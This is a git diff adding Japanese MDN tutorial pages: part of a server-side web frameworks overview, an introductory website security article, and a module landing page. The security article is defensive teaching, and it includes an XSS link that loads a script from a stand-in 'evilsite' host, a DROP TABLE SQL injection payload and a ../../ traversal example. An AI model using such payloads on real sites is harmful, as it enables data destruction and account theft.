Foundation、Mozilla、National Geographic、Open Knowledge Foundation、Pinterest、Open Stack などがあります。</p> + +<h3 id="Flask_Python">Flask (Python)</h3> + +<p><a href="http://flask.pocoo.org/">Flask</a> は Python 用のマイクロフレームワークです。</p> + +<p>最小構成ですが、Flask は一般的に真面目なウェブサイトを作成することができます。開発サーバーとデバッガーが含まれており、<a href="https://github.com/pallets/jinja">Jinja2</a> テンプレート、セキュアクッキー、<a href="https://en.wikipedia.org/wiki/Unit_testing">ユニットテスト</a>、および <a href="http://www.restapitutorial.com/lessons/restfulresourcenaming.html">RESTful</a> リクエストのディスパッチをサポートしています。良いドキュメントと活発なコミュニティも持っています。</p> + +<p>Flask は、特に小規模でリソースに制約のあるシステムでウェブサービスを提供する必要がある開発者 (たとえば、<a href="https://www.raspberrypi.org/">Raspberry Pi</a> でウェブサーバーを実行する、<a href="http://blogtarkin.com/drone-definitions-learning-the-drone-lingo/">Drone コントローラー</a>など) にとって非常に人気があります。</p> + +<h3 id="Express_Node.jsJavaScript">Express (Node.js/JavaScript)</h3> + +<p><a href="http://expressjs.com/ja/">Express</a> は、<a href="https://nodejs.org/ja/">Node.js</a> 用の高速で、独創的で、柔軟で最小限のウェブフレームワークです (node は JavaScript を実行するためのブラウザーなしの環境です)。ウェブおよびモバイルアプリケーションに堅牢な機能を提供し、便利な HTTP ユーティリティメソッドと<a href="/ja/docs/Glossary/Middleware">ミドルウェア</a>を提供します。</p> + +<p>Express はクライアントサイドの JavaScript ウェブプログラマーのサーバーサイド開発への移行が容易である、およびリソース効率が良い (基盤となるノード環境は、新しいウェブリクエストごとに別々のプロセスを生成するのではなく、スレッド内で軽量のマルチタスクを使用します) という部分で、非常に人気があります。</p> + +<p>Express は最小限のウェブフレームワークであるため、使用するすべてのコンポーネントが組み込まれているわけではありません (たとえば、データベースへのアクセス、ユーザーおよびセッションのサポートは、独立したライブラリーを通じて提供されます)。多くの優れた独立したコンポーネントがありますが、特定の目的に最適なものを見つけるのが難しい場合があります。</p> + +<p><a href="http://feathersjs.com/">Feathers</a>、<a href="https://www.itemsapi.com/">ItemsAPI</a>、<a href="http://keystonejs.com/">KeystoneJS</a>、<a href="http://krakenjs.com/">Kraken</a>、<a href="http://loopback.io/">LoopBack</a>、<a href="http://mean.io/">MEAN</a>、および <a href="http://sailsjs.org/">Sails</a> を含む、多くの一般的なサーバーサイドおよびフルスタックフレームワーク (サーバーサイドフレームワークとクライアントサイドフレームワークの両方を含む) がExpress に基づいています。</p> + +<p>Uber、Accenture、IBM などを含む多くの有名企業が Express を使用しています (リストは<a href="http://expressjs.com/en/resources/companies-using-express.html">こちら</a>)。</p> + +<h3 id="Ruby_on_Rails_Ruby">Ruby on Rails (Ruby)</h3> + +<p><a href="http://rubyonrails.org/">Rails</a> (通常 "Ruby on Rails" と呼ばれる) は、Ruby プログラミング言語用に書かれたウェブフレームワークです。</p> + +<p>Rails は Django と非常によく似た設計思想に従っています。 Django と同様に、URL のルーティング、データベースからのデータへのアクセス、テンプレートからの HTML の生成、および {{glossary("JSON")}} または {{glossary("XML")}} としてのデータの書式設定のための標準メカニズムを提供します。それは同様に DRY ("自分で繰り返してはいけない" — 可能であれば一度だけコードを書く)、MVC (model-view-controller) そして他の多くのようなデザインパターンの使用を奨励します。</p> + +<p>もちろん、特定の設計上の決定と言語の性質により、多くの違いがあります。</p> + +<p>Rails は、<a href="https://basecamp.com/">Basecamp</a>、<a href="https://github.com/">GitHub</a>、<a href="https://shopify.com/">Shopify</a>、<a href="https://airbnb.com/">Airbnb</a>、<a href="https://twitch.tv/">Twitch</a>、<a href="https://soundcloud.com/">SoundCloud</a>、<a href="https://hulu.com/">Hulu</a>、<a href="https://zendesk.com/">Zendesk</a>、<a href="https://square.com/">Square</a>、<a href="https://highrisehq.com/">Highrise</a> などの有名なサイトに使用されています。</p> + +<h3 id="Laravel_PHP">Laravel (PHP)</h3> + +<p><a href="https://laravel.com/">Laravel</a> は表現力豊かで洗練された構文を持つウェブアプリケーションフレームワークです。Laravel は、次のようなウェブプロジェクトの大部分で使用されている一般的な作業を軽減することで、開発の手間を省くことを試みています。</p> + +<ul> + <li><a href="https://laravel.com/docs/routing" rel="nofollow">シンプルで高速なルーティングエンジン</a></li> + <li><a href="https://laravel.com/docs/container" rel="nofollow">強力な DI コンテナー</a></li> + <li><a href="https://laravel.com/docs/session">セッション</a>および<a href="https://laravel.com/docs/cache">キャッシュ</a>ストレージ用の複数のバックエンド</li> + <li>表現力豊かで直感的な<a href="https://laravel.com/docs/eloquent">データベース ORM</a></li> + <li>データベースにとらわれない<a href="https://laravel.com/docs/migrations">スキーマの移行</a></li> + <li><a href="https://laravel.com/docs/queues" rel="nofollow">堅牢なバックグラウンドジョブ処理</a>.</li> + <li><a href="https://laravel.com/docs/broadcasting" rel="nofollow">リアルタイムイベントブロードキャスティング</a></li> +</ul> + +<p>Laravel はアクセシビリティに優れながら強力であり、大規模で堅牢なアプリケーションに必要なツールを提供します。</p> + +<h3 id="ASP.NET">ASP.NET</h3> + +<p><a href="http://www.asp.net/">ASP.NET</a> は、現代のウェブアプリケーションおよびサービスを構築するために Microsoft によって開発されたオープンソースウェブフレームワークです。ASP.NET を使用すると、HTML、CSS、および JavaScript に基づいてウェブサイトを迅速に作成し、何百万ものユーザーが使用できるように拡張し、ウェブ API、データフォーム、リアルタイム通信などのより複雑な機能を簡単に追加できます。</p> + +<p>ASP.NET の差別化要因の1つは、<a href="https://en.wikipedia.org/wiki/Common_Language_Runtime">共通言語ランタイム</a> (CLR) 上に構築されていることです。プログラマは、サポートされている .NET 言語 (C#、Visual Basic など) を使用して ASP.NET コードを書くことができます。多くのマイクロソフト製品と同様に、優れたツール (多くの場合無料)、活発な開発者コミュニティ、および適切に記述されたドキュメントから恩恵を受けます。</p> + +<p>ASP.NET は、Microsoft、Xbox.com、Stack Overflow、その他多くのユーザーによって使用されています。</p> + +<h3 id="Mojolicious_Perl">Mojolicious (Perl)</h3> + +<p><a href="http://mojolicious.org/">Mojolicious</a> は、Perl プログラミング言語用の次世代ウェブフレームワークです。</p> + +<p>ウェブの初期の頃、<a href="https://metacpan.org/module/CGI">CGI</a> と呼ばれる素晴らしい Perl ライブラリーのおかげで、多くの人が Perl を学びました。それは言語についてあまり知らなくても始めるには十分に単純で、続けるには十分に強力でした。Mojolicious は、最先端のテクノロジを使ってこのアイデアを実現しています。</p> + +<p>Mojolicious が提供する機能のいくつかは以下の通りです。<br> + <strong>リアルタイムウェブフレームワーク</strong>、つまり単一ファイルのプロトタイプを構造化された MVC ウェブアプリケーションに簡単に拡張できます。RESTful なルート、プラグイン、コマンド、Perl 風のテンプレート、コンテンツネゴシエーション、セッション管理、フォーム検証、テストフレームワーク、静的ファイルサーバー、CGI/<a href="http://plackperl.org">PSGI</a> 検出、ファーストクラス Unicode サポート。IPv6、TLS、SNI、IDNA、HTTP/SOCKS 5 プロキシー、UNIX ドメインソケット、Comet (ロングポーリング)、キープアライブ、コネクションプーリング、タイムアウト、Cookie、マルチパートおよび gzip 圧縮サポートを備えたフルスタックの HTTP および WebSocket クライアント/サーバー実装。CSS セレクターをサポートする JSON および HTML/XML パーサーおよびジェネレーター。隠された魔法のない、とてもきれいで、移植性があり、オブジェクト指向の純粋な Perl API。<br> + 長年の経験に基づく新鮮なコード、無料およびオープンソース。</p> + +<h3 id="Spring_Boot_Java">Spring Boot (Java)</h3> + +<p><a href="https://spring.io/projects/spring-boot">Spring Boot</a> は、<a href="http://spring.io/">Spring</a> が提供している数多くのプロジェクトのうちの 1 つです。<a href="https://www.java.com">Java</a> を使用してサーバーサイドのウェブ開発を行う良い出発点です。</p> + +<p><a href="https://www.java.com">Java</a> をベースとした唯一のフレームワークではないことは間違いありませんが、スタンドアローンのプロダクショングレードの Spring ベースのアプリケーションを簡単に実行することができます。これは Spring プラットフォームと他社製ライブラリーの見解に基づいた見方ですが、最小限の手間と設定で始めることができます。</p> + +<p>小さな問題にも使用できますが、その強みはクラウドアプローチを使用する大規模アプリケーションを構築することです。通常、複数のアプリケーションが互いに並行して実行され、ユーザーとのインタラクションを提供するものと、バックエンド作業を実行するもの (データベースやその他のサービスへのアクセスなど) のみがあります。ロードバランサーは、冗長性と信頼性を確保したり、ユーザーのリクエストを地理的に処理してレスポンス性を確保したりするのに役立ちます。</p> + +<h2 id="まとめ">まとめ</h2> + +<p>この記事では、ウェブフレームワークによって、サーバーサイドコードの開発と保守が容易になることを示しました。また、いくつかの一般的なフレームワークの概要とウェブアプリケーションフレームワークの選択基準についても説明しました。これで、少なくとも自身のサーバーサイド開発用のウェブフレームワークを選択する方法についてのアイデアが得られました。 そうでなくても心配しないでください。コースの後半で Django と Express に関する詳細なチュートリアルを提供して、ウェブフレームワークを実際に使用する経験をいくつか提供します。</p> + +<p>このモジュールの次の記事では、方向を少し変えてウェブセキュリティについて考えます。</p> + +<p>{{PreviousMenuNext("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps/Website_security", "Learn/Server-side/First_steps")}}</p> + +<h2 id="このモジュールの記事一覧">このモジュールの記事一覧</h2> + +<ul> + <li><a href="/ja/docs/Learn/Server-side/First_steps/Introduction">サーバサイドの概要</a></li> + <li><a href="/ja/docs/Learn/Server-side/First_steps/Client-Server_overview">クライアント - サーバの概要</a></li> + <li><a href="/ja/docs/Learn/Server-side/First_steps/Web_frameworks">サーバーサイドウェブフレームワーク</a></li> + <li><a href="/ja/docs/Learn/Server-side/First_steps/Website_security">Webサイトのセキュリティ</a></li> +</ul> diff --git a/files/ja/learn/server-side/first_steps/website_security/index.html b/files/ja/learn/server-side/first_steps/website_security/index.html new file mode 100644 index 0000000000..59c9a7dbf7 --- /dev/null +++ b/files/ja/learn/server-side/first_steps/website_security/index.html @@ -0,0 +1,181 @@ +--- +title: Web サイトのセキュリティ +slug: Learn/Server-side/First_steps/Website_security +tags: + - CodingScripting + - Web サイトセキュリティ + - Web セキュリティ + - イントロダクション + - ガイド + - サーバサイドプログラミング + - セキュリテイ + - 初心者 + - 学習 +translation_of: Learn/Server-side/First_steps/Website_security +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</div> + +<p class="summary">ウェブサイトのセキュリティでは、ウェブサイトのデザインと使用方法のあらゆる面で警戒が必要です。この入門記事だけではウェブサイトのセキュリティの第一人者にはなれませんが、脅威がどこから発生するのか、そして最も一般的な攻撃に対してウェブアプリケーションを強化するために何ができるのかを理解するのに役立ちます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピューターリテラシー</td> + </tr> + <tr> + <th scope="row">目標:</th> + <td>ウェブアプリケーションのセキュリティに対する最も一般的な脅威と、サイトがハッキングされるリスクを減らすためにできることを理解する。</td> + </tr> + </tbody> +</table> + +<h2 id="ウェブサイトのセキュリティとは">ウェブサイトのセキュリティとは?</h2> + +<p>インターネットは危険な場所です。定期的に、サービス拒否攻撃によってウェブサイトが利用できなくなったり、自分のホームページに変更された (多くの場合有害な) 情報を表示したりすることがあります。その他の注目を集める事例では、何百万ものパスワード、メールアドレス、およびクレジットカードの詳細がパブリックドメインに漏洩し、ウェブサイトの利用者を個人的な当惑と経済的リスクの両方にさらしています。</p> + +<p>ウェブサイトのセキュリティの目的は、これらの (または任意の) 種類の攻撃を防ぐことです。ウェブサイトセキュリティのより正式な定義は、<em>許可されていないアクセス、使用、改変、破壊、または混乱からウェブサイトを保護することです</em>。</p> + +<p>効果的なウェブサイトセキュリティでは、ウェブアプリケーション、Web サーバーの設定、パスワードの作成と更新に関するポリシー、およびクライアント側のコードなど、ウェブサイト全体にわたる設計作業が必要です。すべて不吉に聞こえるかもしれませんが、サーバーサイド Web フレームワークを使用している場合、多くの一般的な攻撃に対して「デフォルトで」堅牢でよく考え抜かれた防御メカニズムがほぼ確実に有効になります。HTTPS を有効にするなど、他の攻撃は Web サーバーの設定を通じて軽減できます。最後に、明らかな間違いを犯したかどうかを確認するのに役立つ、公開されている脆弱性スキャナツールがあります。</p> + +<p>この記事の残りの部分では、いくつかの一般的な脅威と、サイトを保護するために実行できる簡単な手順の詳細について説明します。</p> + +<div class="note"> +<p><strong>メモ</strong>: これは導入トピックであり、ウェブサイトのセキュリティについて考え始めるのに役立つように設計されていますが、網羅的なものではありません。</p> +</div> + +<h2 id="ウェブサイトのセキュリティ上の脅威">ウェブサイトのセキュリティ上の脅威</h2> + +<p>このセクションでは、最も一般的なウェブサイトの脅威をいくつか紹介し、それらがどのように軽減されるのかを示します。お読みになったところでは、ウェブアプリケーションがブラウザーから来るデータについて信頼しているか、または十分に妄想的ではない場合に、脅威が最も効果的であることに注意してください。</p> + +<h3 id="クロスサイトスクリプティング_XSS">クロスサイトスクリプティング (XSS)</h3> + +<p>XSS は、攻撃者がウェブサイト<em>を通じて</em>他のユーザーのブラウザーにクライアントサイドのスクリプトを挿入することを可能にする一連の攻撃を表すために使用される用語です。注入されたコードはサイトからブラウザーに送信されるため、コードは<em>信頼されており</em>、ユーザーのサイト認証 Cookie を攻撃者に送信するなどのことが可能です。攻撃者が Cookie を持っていると、あたかもユーザーであるかのようにサイトにログインし、クレジットカードの詳細へのアクセス、連絡先の詳細の表示、パスワードの変更など、ユーザーができることなら何でもできます。</p> + +<div class="note"> +<p><strong>メモ</strong>: XSS 脆弱性は、他のどの種類のセキュリティの脅威よりも歴史的に一般的です。</p> +</div> + +<p>XSS 脆弱性は、サイトが挿入されたスクリプトをブラウザーに返す方法に基づいて、<em>反映型</em>と<em>永続型</em>に分けられます。</p> + +<ul> + <li>サーバーに渡されたユーザーコンテンツが<em>ただちに</em>返され、<em>変更されず</em>にブラウザー側で表示される場合に、XSS の脆弱性が反映されます。元のユーザーコンテンツのスクリプトはすべて、新しいページが読み込まれたときに実行されます。たとえば、検索語が URL パラメータとしてエンコードされ、これらの語が結果と一緒に表示されるサイト検索機能を考えてみましょう。攻撃者は悪意のあるスクリプトをパラメータとして含む検索リンク (例: <code>http://mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js"></script></code>) を作成し、それを別のユーザーにメールで送信することができます。ターゲットユーザーがこの「関連リンク」をクリックすると、検索結果が表示されたときにスクリプトが実行されます。すでに説明したように、これにより攻撃者はターゲットユーザーとしてサイトに入るために必要なすべての情報が得られ、ユーザーとして購入したり、連絡先情報を共有したりする可能性があります。</li> + <li> + <p>悪意のあるスクリプトがウェブサイトに保存され、その後、他のユーザーが知らないうちに実行されるように変更されないまま再表示されると、<em>永続的な</em> XSS の脆弱性が発生します。たとえば、変更されていない HTML を含むコメントを受け付けるディスカッション掲示板は、攻撃者からの悪意のあるスクリプトが埋め込まれる可能性があります。コメントが表示されると、スクリプトが実行され、ユーザーのアカウントにアクセスするために必要な情報が攻撃者に送信される可能性があります。この種の攻撃は非常に有名で強力です。攻撃者は被害者と直接関わりさえしないかもしれないからです。</p> + </li> +</ul> + +<p><code>POST</code> または <code>GET</code> リクエストからのデータが XSS の脆弱性の最も一般的な原因ですが、ブラウザーによって表示される Cookie データやアップロードされて表示されるユーザーファイルなど、ブラウザーからのデータはすべて潜在的に脆弱です。</p> + +<p>XSS の脆弱性に対する最善の防御策は、コードを実行するための命令を含む可能性があるマークアップを削除または無効にすることです。HTML の場合、これには <code><script></code>、<code><object></code>、<code><embed></code>、および <code><link></code> などの要素が含まれます。</p> + +<div> +<p>スクリプトを実行したり、サーバーコードの実行に影響を与えたりすることができないようにユーザーデータを変更するプロセスは、入力サニタイズと呼ばれます。多くのウェブフレームワークは、デフォルトで HTML フォームからのユーザー入力を自動的にサニタイズします。</p> +</div> + +<h3 id="SQL_インジェクション">SQL インジェクション</h3> + +<p>SQL インジェクションの脆弱性により、悪意のあるユーザーはデータベース上で任意の SQL コードを実行することができ、ユーザーの許可に関係なくデータへのアクセス、変更、削除ができます。インジェクション攻撃が成功すると、ID を偽装したり、管理者権限を持つ新しい ID を作成したり、サーバー上のすべてのデータにアクセスしたり、データを破壊または変更して使用できなくなる可能性があります。</p> + +<div> +<p>SQL インジェクションの種類には、エラーベースの SQL インジェクション、ブールエラーに基づく SQL インジェクション、および時間ベースの SQL インジェクションがあります。</p> +</div> + +<p>ベースとなる SQL ステートメントに渡されるユーザー入力がステートメントの意味を変更する可能性がある場合に、この脆弱性が存在します。たとえば、次のコードは、HTML フォームから提供された特定の名前 (<code>userName</code>) を持つすべてのユーザーを一覧表示することを目的としています。</p> + +<pre class="brush: sql">statement = "SELECT * FROM users WHERE name = '" + <strong>userName</strong> + "';"</pre> + +<p>ユーザーが実名を指定した場合、そのステートメントは意図したとおりに機能します。ただし、悪意のあるユーザーは <code>userName</code> に太字のテキストを指定するだけで、この SQL ステートメントの動作を次の例の新しいステートメントに完全に変更する可能性があります。</p> + +<pre class="brush: sql">SELECT * FROM users WHERE name = '<strong>a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't</strong>'; +</pre> + +<p>変更された文は、<code>users</code> テーブルを削除し、<code>userinfo</code> テーブルからすべてのデータを選択する (すべてのユーザーの情報を表示する) 有効な SQL 文を作成します。これは、挿入されたテキストの最初の部分 (<code>a';</code>) が元の文を完成させるために機能します。</p> + +<p>この種の攻撃を回避するには、SQL クエリに渡されるユーザーデータがクエリの性質を変更できないようにする必要があります。これを行う 1 つの方法は、SQL で特別な意味を持つユーザー入力内のすべての文字を<a href="https://en.wikipedia.org/wiki/Escape_character">エスケープ</a>することです。</p> + +<div class="note"> +<p><strong>メモ</strong>: SQL ステートメントは、<strong>'</strong> 文字を文字列リテラルの開始と終了として扱います。この文字の前に円記号を入れる (<strong>\'</strong>) ことで、シンボルをエスケープし、代わりにそれを文字 (文字列の一部) として扱うように SQL に指示します。</p> +</div> + +<p>次の文では、<strong>'</strong> 文字をエスケープします。SQL は名前を太字の文字列全体として解釈します (これは非常に奇妙な名前ですが、有害ではありません)。</p> + +<pre class="brush: sql">SELECT * FROM users WHERE name = '<strong>a\';DROP TABLE users; SELECT * FROM userinfo WHERE \'t\' = \'t'</strong>; +</pre> + +<p>ウェブフレームワークはしばしばあなたのためにエスケープする文字の面倒を見るでしょう。たとえば、Django はクエリセット (モデルクエリ) に渡されたユーザーデータが確実にエスケープされるようにします。</p> + +<div class="note"> +<p><strong>メモ</strong>: このセクションは<a href="https://en.wikipedia.org/wiki/SQL_injection">ここウィキペディア</a>の情報に大きく依存しています。</p> +</div> + +<h3 id="クロスサイトリクエストフォージェリ_CSRF">クロスサイトリクエストフォージェリ (CSRF)</h3> + +<p>CSRF 攻撃は、悪意のあるユーザーが他のユーザーの資格情報を使用して、そのユーザーの知らないうちに同意なしでアクションを実行することを可能にします。</p> + +<p>この種の攻撃は、例で最もよく説明されています。John は、特定のサイトでログインユーザーがアカウント名と金額を含む HTTP <code>POST</code> リクエストを使用して特定のアカウントに送金できることを知っている悪意のあるユーザーです。John は、自分の銀行の詳細と金額を隠しフィールドとして含むフォームを作成し、それを他のサイトユーザーにメールで送信します ([送信] ボタンは [早く金持ちになる] サイトへのリンクとして偽装)。</p> + +<p>ユーザーが[送信]ボタンをクリックすると、トランザクションの詳細と、サイトに関連付けられているブラウザーが要求したクライアント側の Cookie を含む HTTP <code>POST</code> リクエストがサーバーに送信されます (リクエストに関連サイトの Cookie を追加するのは通常のブラウザーの動作です)。サーバーは Cookie をチェックし、それらを使用してユーザーがログインしていてトランザクションを実行する権限を持っているかどうかを判断します。</p> + +<p>その結果、取引サイトにログインしている間に [送信] ボタンをクリックしたすべてのユーザーが取引を行うことになります。John は金持ちになります。</p> + +<div class="note"> +<p><strong>メモ</strong>: ここでのトリックは、John がユーザーの cookie (またはアクセス資格情報) にアクセスする必要がないことです。ユーザーのブラウザーはこの情報を保存し、関連するサーバーへのすべてのリクエストに自動的に含めます。</p> +</div> + +<p>この種の攻撃を防ぐ 1 つの方法は、サーバーが <code>POST</code> リクエストにユーザー固有のサイト生成のシークレット情報を含めることを要求することです。転送に使用されるウェブフォームを送信するときに、シークレットがサーバーによって提供されます。この方法では、サーバーからユーザーに提供されているシークレットを知っている必要があるため、John は独自のフォームを作成できません。たとえ彼がシークレットを見つけて特定のユーザーのためにフォームを作成したとしても、彼はもはやその同じフォームを使用してすべてのユーザーを攻撃することはできないでしょう。</p> + +<p>ウェブフレームワークには、そのような CSRF 防止メカニズムが含まれていることがよくあります。</p> + +<h3 id="その他の脅威">その他の脅威</h3> + +<p>その他の一般的な攻撃/脆弱性は次のとおりです。</p> + +<ul> + <li><a href="https://ja.wikipedia.org/wiki/%E3%82%AF%E3%83%AA%E3%83%83%E3%82%AF%E3%82%B8%E3%83%A3%E3%83%83%E3%82%AD%E3%83%B3%E3%82%B0">クリックジャッキング</a>。この攻撃では、悪意のあるユーザーが目に見えるトップレベルサイトのクリックをハイジャックし、その下にある非表示のページにルーティングします。このテクニックは、例えば、合法的な銀行のサイトを表示するが、攻撃者によって制御された目に見えない {{htmlelement("iframe")}} にログイン資格情報をキャプチャするために使用されるかもしれません。クリックジャックを使用して、表示されているサイト上のボタンをユーザーにクリックさせることもできますが、実際にはまったく違うボタンを無意識にクリックしています。対応策として、サイトに他のサイトの iframe を埋め込まれないように適切な HTTP ヘッダを設定することで防ぐことができます。</li> + <li><a href="/ja/docs/Glossary/Distributed_Denial_of_Service">Denial of Service</a> (DoS)。DoS は通常、正当なユーザーのサイトへのアクセスが妨害されるように、偽のリクエストで対象のサイトをあふれさせることで達成されます。リクエストは単純で多数あり得るか、または個々に大量のリソースを消費し得る (例えば、遅い読み取りまたは大きなファイルのアップロード) ものです。DoS 防御は通常、正当なメッセージの通過を許可しながら、「悪い」トラフィックを識別してブロックすることによって機能します。これらの防御は通常、ウェブサーバーの前または内部にあります (これらはウェブアプリケーション自体の一部ではありません)。</li> + <li><a href="https://ja.wikipedia.org/wiki/%E3%83%87%E3%82%A3%E3%83%AC%E3%82%AF%E3%83%88%E3%83%AA%E3%83%88%E3%83%A9%E3%83%90%E3%83%BC%E3%82%B5%E3%83%AB">ディレクトリートラバーサル</a> (ファイルと開示)。この攻撃では、悪意のあるユーザーが ウェブサーバーのファイルシステムのアクセスできない部分にアクセスを試みます。この脆弱性は、ユーザーがファイルシステムのナビゲーション文字を含むファイル名 (たとえば<code>../../</code>) を渡すことができる場合に発生します。解決策は、使用する前に入力をサニタイズすることです。</li> + <li><a href="https://en.wikipedia.org/wiki/File_inclusion_vulnerability">ファイルインクルード</a>。この攻撃では、ユーザーはサーバーに渡されたデータを表示または実行するための「意図しない」ファイルを指定することができます。このファイルがロードされると、ウェブサーバーまたはクライアントサイドで実行される (XSS 攻撃につながる) 可能性があります。解決策は、使用する前に入力をサニタイズすることです。</li> + <li><a href="https://www.owasp.org/index.php/Command_Injection">コマンドインジェクション</a>。コマンドインジェクション攻撃により、悪意のあるユーザーはホスト OS で任意のシステムコマンドを実行することができます。解決策は、システムコールで使用される前にユーザー入力をサニタイズすることです。</li> +</ul> + +<p>ウェブサイトのセキュリティ脅威の包括的な一覧については、<a href="https://en.wikipedia.org/wiki/Category:Web_security_exploits">Category: Web security exploits</a> (Wikipedia) および <a href="https://www.owasp.org/index.php/Category:Attack">Category: Attack</a> (Open Web Application Security Project) を参照してください。</p> + +<h2 id="いくつかの重要なメッセージ">いくつかの重要なメッセージ</h2> + +<p>ウェブアプリケーションがブラウザーからのデータを信頼している場合、前のセクションのセキュリティ上の悪用のほとんどすべてが成功します。ウェブサイトのセキュリティを向上させるために他に何をしても、ブラウザーから表示される前、SQL クエリで使用される前、または OS やファイルシステムの呼び出しに渡される前に、すべてのユーザー発信データをサニタイズする必要があります。</p> + +<div class="warning"> +<p>重要:ウェブサイトのセキュリティについて学ぶことができる最も重要な教訓は、<strong>ブラウザーからのデータを決して信用しない</strong>ことです。これには <code>GET</code> リクエスト、<code>POST</code> リクエスト、HTTP ヘッダと Cookie、およびユーザーがアップロードしたファイルの URL パラメータのデータが含まれますが、これらに限りません。すべての受信データを常にチェックしてサニタイズしてください。常に最悪の事態を想定してください。</p> +</div> + +<p>あなたが取れる他の具体的な対策はいくつかあります：</p> + +<ul> + <li>より効果的なパスワード管理を使用してください。定期的に変更される強力なパスワードを推奨します。パスワードに加えてユーザーが別の認証コード (通常は、自分の電話に送信される SMS のコードなど、ユーザーだけが所有する物理的なハードウェアを介して配信されるもの) を入力する必要があるように、サイトの 2要素認証を検討してください。</li> + <li>HTTPS および HTTP Strict Transport Security (HSTS) を使用するように Web サーバーを設定します。HTTPS は、クライアントとサーバー間で送信されるデータを暗号化します。これにより、ログイン認証情報、Cookie、<code>POST</code> リクエストデータ、およびヘッダ情報が攻撃者に容易に利用されないようになります。</li> + <li>最も一般的な脅威 (<a href="https://owasp.org/www-project-top-ten/">現在の OWASP リストはこちら</a>) を追跡し、最も一般的な脆弱性を最初に解決します。</li> + <li>サイトで自動セキュリティテストを実行するには、<a href="https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools">脆弱性スキャンツール</a>を使用してください。後で、非常に成功したウェブサイトも <a href="https://www.mozilla.org/en-US/security/bug-bounty/faq-webapp/">Mozilla がここでしているような</a>バグ報奨金を提供することによってバグが見つかるかもしれません。</li> + <li>必要なデータのみを保存して表示してください。たとえば、ユーザーがクレジットカード情報などの機密情報を保存する必要がある場合は、ユーザーが識別できるだけの十分なカード番号を表示してください。そうすれば攻撃者がそれをコピーして別のサイトで使用することはできません。現時点で最も一般的なパターンは、クレジットカード番号の最後の 4桁だけを表示することです。</li> +</ul> + +<p>ウェブフレームワークは、より一般的な脆弱性の多くを軽減するのに役立ちます。</p> + +<h2 id="まとめ">まとめ</h2> + +<p>この記事では、ウェブセキュリティの概念と、ウェブサイトが保護しようとする一般的な脅威について説明しました。最も重要なことは、ウェブアプリケーションはウェブブラウザーからのデータを信頼できないということです。すべてのユーザーデータは、表示する前にサニタイズするか、SQL クエリやファイルシステムコールで使用する必要があります。</p> + +<p>この記事で、<a href="/ja/docs/Learn/Server-side/First_steps">モジュール</a>の終わりに来ました。サーバーサイドのウェブサイトプログラミングの最初のステップをカバーしました。これらの基本概念を学んで楽しんでいただければ幸いです。これでウェブフレームワークを選択してプログラミングを開始する準備が整いました。</p> + +<p>{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</p> + +<h2 id="このモジュールの記事一覧">このモジュールの記事一覧</h2> + +<ul> + <li><a href="/ja/docs/Learn/Server-side/First_steps/Introduction">サーバーサイドの概要</a></li> + <li><a href="/ja/docs/Learn/Server-side/First_steps/Client-Server_overview">クライアント - サーバーの概要</a></li> + <li><a href="/ja/docs/Learn/Server-side/First_steps/Web_frameworks">サーバーサイドウェブフレームワーク</a></li> + <li><a href="/ja/docs/Learn/Server-side/First_steps/Website_security">ウェブサイトのセキュリティ</a></li> +</ul> diff --git a/files/ja/learn/server-side/index.html b/files/ja/learn/server-side/index.html new file mode 100644 index 0000000000..728f2c0fac --- /dev/null +++ b/files/ja/learn/server-side/index.html @@ -0,0 +1,59 @@ +--- +title: サーバサイド Web サイトプログラミング +slug: Learn/Server-side +tags: + - CodingScripting + - Landing + - NeedsTranslation + - Server + - Server-side programming + - Topic + - TopicStub + - 初学者 + - 学習 + - 導入部 +translation_of: Learn/Server-side +--- +<div>{{LearnSidebar}}</div> + +<p class="summary"><strong><em>Dynamic(動的な)Webサイト</em></strong> –<em><strong> </strong><strong>サーバサイドプログラミング</strong></em> のトピックは、動的な Web サイト (HTTP リクエストに応じてカスタマイズされた情報を届ける Web サイト) の作り方を説明する一連のモジュールです。各モジュールは、一般的なサーバサイドプログラミングへの導入となる情報を提供するほか、特に初学者に向けて、Django (Python) や Express (Node.js/JavaScript) といった基礎的なアプリケーションを構築するためのWebフレームワークの使用方法について説明しています。</p> + +<p>ほとんどの有名な Web サイトでは、必要に応じてさまざまなデータを動的に表示するために、何らかのサーバサイドの技術を使用しています。例えば Amazon の場合を考えてみましょう。非常にたくさんの商品が扱われていますね。また Facebook にも大量の投稿があります。これら全てを表示するために別々の静的なページをいくつも作っていっても、絶対に非効率です。ですのでその代わりに、こういったサイトでは静的なテンプレート (HTML, CSS, JavaScript で構築します) を表示し、テンプレートの内部で必要に応じ、表示される情報を動的に更新しています。例えば、Amazon で今見ている商品とは違う商品を見ようとするときに、この更新がおこなわれています。</p> + +<p>現代の Web 開発においては、サーバサイド開発を学ぶことが強く推奨されています。</p> + +<h2 id="Learning_pathway" name="Learning_pathway">学習の道筋</h2> + +<p>サーバサイドプログラミングを始めるのは、一般的にいってクライアントサイドの開発を始めるよりも簡単です。なぜなら動的な Web サイトはどれも非常によく似た操作 (データベースからデータを読み出してそれをページに表示し、ユーザが入力したデータをヴァリデーションしてそれをデータベースに保存し、ユーザの権限をチェックした後にユーザをログインさせる、といったようなことです) を行うからです。また、動的な Web サイトはこういった一般的な Web サーバ側での操作を簡単にしてくれる Web・フレームワークを用いて作られているからです。</p> + +<p>プログラミング概念の基本知識 (あるいは特定のプログラミング言語の知識) は役立ちますが、必要ではありません。つまり、クライアントサイドコーディングの熟達は必要ではなく、基本知識はクライアントサイドの Web「フロントエンド」の開発者とうまく共同作業するのに役立つでしょう。</p> + +<p>「Webの動作原理」を理解する必要があります。最初に次のトピックを読むのをお勧めします:</p> + +<ul> + <li><a href="/ja/docs/Learn/Common_questions/What_is_a_web_server">Web サーバとは</a></li> + <li><a href="/ja/docs/Learn/Common_questions/What_software_do_I_need">Web サイトを作成するのにどんなソフトウェアが必要か？</a></li> + <li><a href="/ja/docs/Learn/Common_questions/Upload_files_to_a_web_server">Web サーバにファイルをアップロードする方法は？</a></li> +</ul> + 